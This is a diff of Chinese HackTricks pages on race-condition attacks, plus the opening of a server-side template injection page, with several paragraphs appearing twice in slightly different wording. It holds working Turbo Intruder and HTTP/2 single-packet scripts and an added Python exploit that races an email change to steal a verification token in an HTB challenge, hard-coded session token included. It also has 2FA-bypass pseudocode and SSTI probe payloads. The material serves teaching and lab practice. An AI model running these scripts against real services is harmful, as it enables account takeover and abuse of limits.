使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流**,使用全球**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,39 +12,39 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
要深入了解此技术,请查看原始报告:[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
要深入了解此技术,请查看原始报告[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
{% endhint %}
|
||||
|
||||
## 加强竞争条件攻击
|
||||
|
||||
利用竞争条件的主要障碍是确保多个请求同时处理,其处理时间之间**非常短暂—最好小于 1 毫秒**。
|
||||
利用竞争条件的主要障碍是确保多个请求同时处理,其处理时间之间**非常短暂—最好小于1毫秒**。
|
||||
|
||||
以下是一些同步请求的技术:
|
||||
|
||||
#### HTTP/2 单数据包攻击 vs. HTTP/1.1 最后字节同步
|
||||
#### HTTP/2单数据包攻击 vs. HTTP/1.1最后字节同步
|
||||
|
||||
* **HTTP/2**:支持通过单个 TCP 连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。
|
||||
* **HTTP/1.1 '最后字节同步'**:允许预先发送大部分 20-30 个请求的内容,保留一个小片段,然后一起发送,实现同时到达服务器。
|
||||
* **HTTP/2**:支持通过单个TCP连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。
|
||||
* **HTTP/1.1 '最后字节同步'**:允许预先发送大部分20-30个请求的内容,保留一个小片段,然后一起发送,实现同时到达服务器。
|
||||
|
||||
**准备进行最后字节同步** 包括:
|
||||
**准备进行最后字节同步**包括:
|
||||
|
||||
1. 发送标题和主体数据,但不包括最后一个字节,不结束流。
|
||||
2. 初始发送后暂停 100 毫秒。
|
||||
3. 禁用 TCP\_NODELAY 以利用 Nagle 算法批处理最终帧。
|
||||
4. 发送 ping 以热身连接。
|
||||
1. 发送标题和主体数据,减去最后一个字节,而不结束流。
|
||||
2. 在初始发送后暂停100毫秒。
|
||||
3. 禁用TCP_NODELAY以利用Nagle算法批处理最终帧。
|
||||
4. 发送ping以热身连接。
|
||||
|
||||
随后发送保留的帧应导致它们以单个数据包的形式到达,可通过 Wireshark 进行验证。此方法不适用于通常不涉及竞争条件攻击的静态文件。
|
||||
随后发送被保留的帧应导致它们以单个数据包的形式到达,可通过Wireshark验证。此方法不适用于通常不涉及竞争条件攻击的静态文件。
|
||||
|
||||
### 适应服务器架构
|
||||
|
||||
|
@ -52,19 +52,19 @@
|
|||
|
||||
#### 处理基于会话的锁定
|
||||
|
||||
像 PHP 的会话处理程序会根据会话序列化请求,可能会隐藏漏洞。为每个请求使用不同的会话令牌可以规避此问题。
|
||||
像PHP的会话处理程序这样的框架通过会话对请求进行序列化,可能会隐藏漏洞。为每个请求使用不同的会话令牌可以规避此问题。
|
||||
|
||||
#### 克服速率或资源限制
|
||||
|
||||
如果连接热身无效,通过故意触发 Web 服务器的速率或资源限制延迟,通过洪水式的虚拟请求可能有助于通过引发有利于竞争条件的服务器端延迟来促进单数据包攻击。
|
||||
如果连接热身无效,通过故意触发Web服务器的速率或资源限制延迟,通过洪水式的虚拟请求可能有助于通过引发有利于竞争条件的服务器端延迟来促进单数据包攻击。
|
||||
|
||||
## 攻击示例
|
||||
|
||||
* **Tubo Intruder - HTTP2 单数据包攻击(1 个端点)**:您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以更改请求中要暴力破解的值为 **`%s`**,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**:
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以更改请求中要用于**`%s`**暴力破解的值,例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您要**发送不同的值**,您可以修改代码,使用从剪贴板中获取的单词列表。
|
||||
如果您要**发送不同的值**,您可以修改使用剪贴板中的单词列表的代码。
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
|
|||
如果网站不支持HTTP2(仅支持HTTP1.1),请使用`Engine.THREADED`或`Engine.BURP`,而不是`Engine.BURP2`。
|
||||
{% endhint %}
|
||||
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他端点发送多个请求以触发RCE,您可以修改`race-single-packet-attack.py`脚本,如下所示:
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他端点发送多个请求以触发RCE,您可以修改`race-single-packet-attack.py`脚本,类似于:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -105,21 +105,150 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* 在Burp Suite的**Repeater**中,还可以通过新的**并行发送组**选项使用。
|
||||
* 对于**limit-overrun**,您可以在组中**添加相同请求50次**。
|
||||
* 对于**连接预热**,您可以在组的**开头**添加一些请求到Web服务器的非静态部分。
|
||||
* 要在处理**一个请求和另一个请求**之间的过程中**延迟**,您可以在这两个请求之间**添加额外的请求**,形成2个子状态步骤。
|
||||
* 在Burp Suite的**Repeater**中,还可以通过新的**并行发送组**选项来使用。
|
||||
* 对于**limit-overrun**,您可以在组中**添加相同的请求50次**。
|
||||
* 对于**连接预热**,您可以在组的**开头**添加一些请求到网站的一些非静态部分。
|
||||
* 要**延迟**在处理**一个请求和另一个请求之间**的过程,在2个子状态步骤中,您可以在这两个请求之间**添加额外的请求**。
|
||||
* 对于**多端点**的RC,您可以开始发送**进入隐藏状态的请求**,然后在其后立即发送**50个利用隐藏状态的请求**。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 原始BF
|
||||
* **自动化Python脚本**:此脚本的目标是在不断验证的同时更改用户的电子邮件,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到了一个RC,其中可以修改电子邮件,但是验证令牌发送到旧电子邮件,因为指示电子邮件的变量已经填充了第一个电子邮件)。\
|
||||
当在收到的电子邮件中找到单词"objetivo"时,我们知道收到了更改电子邮件的验证令牌,然后结束攻击。
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
from h2spacex import H2OnTlsConnection
|
||||
from time import sleep
|
||||
from h2spacex import h2_frames
|
||||
import requests
|
||||
|
||||
在进行上述研究之前,这些是一些用于尝试尽快发送数据包以引发RC的有效载荷。
|
||||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||||
|
||||
* **Repeater:**请查看前一节中的示例。
|
||||
* **Intruder:**将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,选择**Null有效载荷**作为有效载荷并生成**30**。
|
||||
* **Turbo Intruder**
|
||||
# change these headers
|
||||
|
||||
headersObjetivo= """accept: */*
|
||||
content-type: application/x-www-form-urlencoded
|
||||
Cookie: """+cookie+"""
|
||||
Content-Length: 112
|
||||
"""
|
||||
|
||||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||||
|
||||
headersVerification= """Content-Length: 1
|
||||
Cookie: """+cookie+"""
|
||||
"""
|
||||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||||
|
||||
host = "94.237.56.46"
|
||||
puerto =39697
|
||||
|
||||
|
||||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
|
||||
|
||||
while "objetivo" not in response.text:
|
||||
|
||||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||||
|
||||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||||
#print(response.text)
|
||||
# change this host name to new generated one
|
||||
|
||||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||||
|
||||
print(responseReset.status_code)
|
||||
|
||||
h2_conn = H2OnTlsConnection(
|
||||
hostname=host,
|
||||
port_number=puerto
|
||||
)
|
||||
|
||||
h2_conn.setup_connection()
|
||||
|
||||
try_num = 100
|
||||
|
||||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||||
|
||||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||||
all_data_frames = [] # all data frames which contain the last byte
|
||||
|
||||
|
||||
for i in range(0, try_num):
|
||||
last_data_frame_with_last_byte=''
|
||||
if i == try_num/2:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||||
method='POST',
|
||||
headers_string=headersObjetivo,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=bodyObjetivo,
|
||||
path='/challenge/api/profile'
|
||||
)
|
||||
else:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||||
method='GET',
|
||||
headers_string=headersVerification,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=".",
|
||||
path='/challenge/api/sendVerification'
|
||||
)
|
||||
|
||||
all_headers_frames.append(header_frames_without_last_byte)
|
||||
all_data_frames.append(last_data_frame_with_last_byte)
|
||||
|
||||
|
||||
# concatenate all headers bytes
|
||||
temp_headers_bytes = b''
|
||||
for h in all_headers_frames:
|
||||
temp_headers_bytes += bytes(h)
|
||||
|
||||
# concatenate all data frames which have last byte
|
||||
temp_data_bytes = b''
|
||||
for d in all_data_frames:
|
||||
temp_data_bytes += bytes(d)
|
||||
|
||||
h2_conn.send_bytes(temp_headers_bytes)
|
||||
|
||||
|
||||
|
||||
|
||||
# wait some time
|
||||
sleep(0.1)
|
||||
|
||||
# send ping frame to warm up connection
|
||||
h2_conn.send_ping_frame()
|
||||
|
||||
# send remaining data frames
|
||||
h2_conn.send_bytes(temp_data_bytes)
|
||||
|
||||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||||
frame_parser.add_frames(resp)
|
||||
frame_parser.show_response_of_sent_requests()
|
||||
|
||||
print('---')
|
||||
|
||||
sleep(3)
|
||||
h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### 原始 BF
|
||||
|
||||
在之前的研究之前,这些是一些使用的有效载荷,只是尝试尽可能快地发送数据包以引发 RC。
|
||||
|
||||
- **Repeater:** 检查前一节中的示例。
|
||||
- **Intruder:** 将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,选择**空有效载荷**作为有效载荷并生成**30**。
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -168,55 +297,55 @@ asyncio.run(main())
|
|||
```
|
||||
## **RC Methodology**
|
||||
|
||||
### 限制超限 / TOCTOU
|
||||
### 限制超限/TOCTOU
|
||||
|
||||
这是最基本的一种竞争条件,其中**漏洞**出现在**限制执行某个操作次数的地方**。比如在网店多次使用相同的折扣代码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||||
|
||||
这种攻击有许多变种,包括:
|
||||
|
||||
* 多次兑换礼品卡
|
||||
* 多次对产品评分
|
||||
* 超出账户余额提取或转账现金
|
||||
* 重复使用单个验证码解决方案
|
||||
* 绕过反暴力破解速率限制
|
||||
- 多次兑换礼品卡
|
||||
- 多次对产品评分
|
||||
- 超出账户余额提取或转账现金
|
||||
- 重复使用单个验证码解决方案
|
||||
- 绕过反暴力破解速率限制
|
||||
|
||||
### **隐藏子状态**
|
||||
### **隐藏的子状态**
|
||||
|
||||
利用复杂的竞争条件通常涉及利用与隐藏或**意外的机器子状态**交互的短暂机会。以下是处理此类情况的方法:
|
||||
|
||||
1. **识别潜在的隐藏子状态**
|
||||
* 首先,确定修改或与关键数据交互的端点,如用户配置文件或密码重置流程。关注以下方面:
|
||||
* **存储**:优先选择处理服务器端持久数据的端点,而不是处理客户端数据的端点。
|
||||
* **操作**:寻找修改现有数据的操作,这些操作比添加新数据更有可能创建可利用的条件。
|
||||
* **键入**:成功的攻击通常涉及使用相同标识符(例如用户名或重置令牌)的操作。
|
||||
- 从修改或与关键数据交互的端点入手,例如用户配置文件或密码重置流程。关注以下方面:
|
||||
- **存储**:优先选择处理服务器端持久数据的端点,而不是处理客户端数据的端点。
|
||||
- **操作**:寻找修改现有数据的操作,这些操作比添加新数据的操作更有可能创建可利用的条件。
|
||||
- **键入**:成功的攻击通常涉及使用相同标识符(例如用户名或重置令牌)的操作。
|
||||
2. **进行初步探测**
|
||||
* 使用竞争条件攻击测试已识别的端点,观察是否有与预期结果不符的情况。意外的响应或应用行为的变化可能表明存在漏洞。
|
||||
- 使用竞争条件攻击测试已识别的端点,观察是否有与预期结果不符的情况。意外的响应或应用行为的变化可能表明存在漏洞。
|
||||
3. **展示漏洞**
|
||||
* 将攻击范围缩小到利用漏洞所需的最少请求数,通常仅为两个。由于涉及精确的时间,此步骤可能需要多次尝试或自动化。
|
||||
- 将攻击范围缩小到利用漏洞所需的最少请求数,通常仅为两个。由于涉及精确的时间,此步骤可能需要多次尝试或自动化。
|
||||
|
||||
### 时间敏感攻击
|
||||
|
||||
在定时请求方面的精确性可以揭示漏洞,特别是在安全令牌使用可预测的方法(如时间戳)时。例如,基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。
|
||||
在定时请求方面的精确性可以揭示漏洞,特别是在安全令牌使用可预测的方法(如时间戳)时。例如,基于时间戳生成密码重置令牌可能会导致同时请求的相同令牌。
|
||||
|
||||
**利用:**
|
||||
**利用方法:**
|
||||
|
||||
* 使用精确的时间,如单个数据包攻击,进行并发密码重置请求。相同的令牌表明存在漏洞。
|
||||
- 使用精确的时间,如单个数据包攻击,进行并发密码重置请求。相同的令牌表明存在漏洞。
|
||||
|
||||
**示例:**
|
||||
|
||||
* 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。
|
||||
- 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。
|
||||
|
||||
**查看此** [**PortSwigger实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **以尝试此操作。**
|
||||
|
||||
## 隐藏子状态案例研究
|
||||
## 隐藏的子状态案例研究
|
||||
|
||||
### 支付并添加商品
|
||||
|
||||
查看此[**PortSwigger实验室**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以查看如何在商店中**支付**并**添加额外**商品而**无需为其付款**。
|
||||
查看此[**PortSwigger实验室**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以了解如何在商店中**支付**并**添加额外**商品而**无需为其付款**。
|
||||
|
||||
### 确认其他电子邮件
|
||||
|
||||
这个想法是**验证一个电子邮件地址并同时将其更改为另一个**,以查明平台是否验证更改后的新电子邮件。
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**,以查明平台是否验证了更改后的新电子邮件。
|
||||
|
||||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||||
|
||||
|
@ -224,9 +353,9 @@ asyncio.run(main())
|
|||
|
||||
**查看此** [**PortSwigger实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **以尝试此操作。**
|
||||
|
||||
### 隐藏数据库状态 / 确认绕过
|
||||
### 隐藏的数据库状态/确认绕过
|
||||
|
||||
如果使用**2个不同的写入**向**数据库中添加信息**,则在**仅第一个数据已写入**数据库的一小段时间内。例如,创建用户时**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建帐户的令牌。这意味着在短时间内**用于确认帐户的令牌为空**。
|
||||
如果使用**2个不同的写入**向**数据库中添加信息**,则在**仅第一个数据已写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入确认新创建帐户的令牌。这意味着在短时间内**用于确认帐户的令牌为空**。
|
||||
|
||||
因此,**注册一个帐户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)立即确认帐户可能允许确认一个您无法控制电子邮件的帐户。
|
||||
|
||||
|
@ -234,7 +363,7 @@ asyncio.run(main())
|
|||
|
||||
### 绕过2FA
|
||||
|
||||
以下伪代码容易受到竞争条件攻击的影响,因为在创建会话时**2FA未被强制执行**的一小段时间内:
|
||||
以下伪代码容易受到竞争条件攻击,因为在创建会话时**2FA未被强制执行**的非常短的时间内:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -242,18 +371,18 @@ session['enforce_mfa'] = True
|
|||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2永久性持久性
|
||||
### OAuth2永久持久性
|
||||
|
||||
有几个[**OAuth提供者**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)。这些服务将允许您创建一个应用程序并对提供者已注册的用户进行身份验证。为了做到这一点,**客户端**将需要**允许您的应用程序**访问**OAuth提供者**内部的一些数据。\
|
||||
因此,直到这里只是一个常见的使用google/linkedin/github等登录,您会看到一个页面,上面写着:“_应用程序\<InsertCoolName>想要访问您的信息,您是否要允许?_”
|
||||
有几个[**OAuth提供者**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)。这些服务将允许您创建一个应用程序并对提供者已注册的用户进行身份验证。为了实现这一点,**客户端**将需要**允许您的应用程序**访问**OAuth提供者**内部的一些数据。\
|
||||
因此,直到这里只是一个常见的使用google/linkedin/github等登录,您会看到一个页面,上面写着:“_应用程序\<InsertCoolName>想要访问您的信息,您是否允许?_”
|
||||
|
||||
#### `authorization_code`中的竞争条件
|
||||
|
||||
**问题**出现在您**接受**并自动向恶意应用程序发送**`authorization_code`**时。然后,此**应用程序滥用OAuth服务提供商中的竞争条件**,从**`authorization_code`**为您的帐户生成多个AT/RT(_认证令牌/刷新令牌_)。基本上,它将滥用您已经允许应用程序访问您的数据的事实来**创建多个帐户**。然后,如果您**停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍将有效**。
|
||||
**问题**出现在您**接受**并自动向恶意应用程序发送**`authorization_code`**时。然后,此**应用程序滥用OAuth服务提供商中的竞争条件**,从**`authorization_code`**为您的帐户生成多个AT/RT(_认证令牌/刷新令牌_)。基本上,它将滥用您已经允许该应用程序访问您的数据的事实来**创建多个帐户**。然后,如果您**停止允许该应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍将有效**。
|
||||
|
||||
#### `Refresh Token`中的竞争条件
|
||||
|
||||
一旦您**获得了有效的RT**,您可以尝试**滥用它生成多个AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个RT仍将有效**。
|
||||
一旦您**获得了有效的RT**,您可以尝试**滥用它来生成多个AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个RT仍将有效**。
|
||||
|
||||
## **WebSockets中的RC**
|
||||
|
||||
|
@ -273,8 +402,8 @@ session['enforce_mfa'] = True
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
@ -284,7 +413,7 @@ session['enforce_mfa'] = True
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具驱动。\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和由全球**最先进**的社区工具驱动的**自动化工作流程**。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -4,33 +4,33 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 什么是SSTI(服务器端模板注入)
|
||||
## 什么是 SSTI(服务器端模板注入)
|
||||
|
||||
服务器端模板注入是一种漏洞,当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到,包括Jinja。
|
||||
服务器端模板注入是一种漏洞,当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到,包括 Jinja。
|
||||
|
||||
Jinja是一种常用的用于Web应用程序的模板引擎。让我们看一个示例,演示使用Jinja的易受攻击代码片段:
|
||||
Jinja 是一种常用的用于 Web 应用程序的模板引擎。让我们看一个示例,演示使用 Jinja 的易受攻击代码片段:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
在这个易受攻击的代码中,用户请求中的 `name` 参数直接通过 `render` 函数传递到模板中。这可能会让攻击者注入恶意代码到 `name` 参数中,导致服务器端模板注入。
|
||||
|
||||
例如,攻击者可以构造一个带有如下有效负载的请求:
|
||||
例如,攻击者可以构造一个带有如下 payload 的请求:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
|
@ -43,19 +43,19 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
要检测服务器端模板注入(SSTI),最初,**对模板进行模糊测试**是一种直接的方法。这涉及将一系列特殊字符(**`${{<%[%'"}}%\`**)注入到模板中,并分析服务器对常规数据与此特殊负载的响应之间的差异。漏洞指示包括:
|
||||
|
||||
- 抛出错误,揭示漏洞并可能揭示模板引擎。
|
||||
- 反射中负载的缺失,或部分缺失,暗示服务器对其进行的处理方式与常规数据不同。
|
||||
- **明文上下文**:通过检查服务器是否评估模板表达式(例如`{{7*7}}`,`${7*7}`)来区分XSS。
|
||||
- **代码上下文**:通过更改输入参数来确认漏洞。例如,将`http://vulnerable-website.com/?greeting=data.username`中的`greeting`更改为查看服务器输出是否动态或固定,例如`greeting=data.username}}hello`返回用户名。
|
||||
- 反射中负载的缺失,或部分缺失,暗示服务器对其进行不同于常规数据的处理。
|
||||
- **明文上下文**:通过检查服务器是否评估模板表达式(例如,`{{7*7}}`,`${7*7}`)来区分XSS。
|
||||
